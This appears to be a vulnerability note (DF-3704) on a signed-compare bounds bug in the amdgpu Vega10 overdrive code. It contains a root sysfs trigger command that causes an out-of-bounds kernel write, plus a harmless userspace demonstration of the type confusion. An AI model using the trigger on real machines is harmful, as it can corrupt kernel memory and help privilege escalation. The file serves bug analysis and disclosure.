DF-3704 / trigger_notes.c
/* * DF-3704 trigger (hardware-gated): on a Vega10 box with overdrive enabled, as root: * * echo "s -1 1600 1150" > /sys/class/drm/card0/device/pp_od_clock_voltage * * amdgpu_pm.c:584 kstrtol() parses "-1" into long parameter[0]; * vega10_hwmgr.c:4884 `input[i] >= podn_vdd_dep_table->count` is a SIGNED compare * (-1 < count passes); :4888 input_level = (uint32_t)-1 = 0xFFFFFFFF; * :4893-4895 write dpm_levels[0xFFFFFFFF].value / entries[0xFFFFFFFF].clk/.vddc * -> wild kernel write with user-chosen 32-bit values (1600*100 / 1150). * * Demonstration of the type confusion (userspace, same semantics): */ #include <stdio.h> #include <stdint.h> int main(void) { long user_input = -1; /* what kstrtol hands the kernel */ uint8_t count = 8; /* podn_vdd_dep_table->count */ uint32_t input_level; if (user_input >= count) /* the buggy signed check */ printf("rejected\n"); else { input_level = (uint32_t)user_input; /* :4888 */ printf("check PASSED (signed compare), input_level=0x%08x\n", input_level); printf("entries[input_level] byte offset ~%llu * record-size from the array\n", (unsigned long long)input_level); } return 0; } |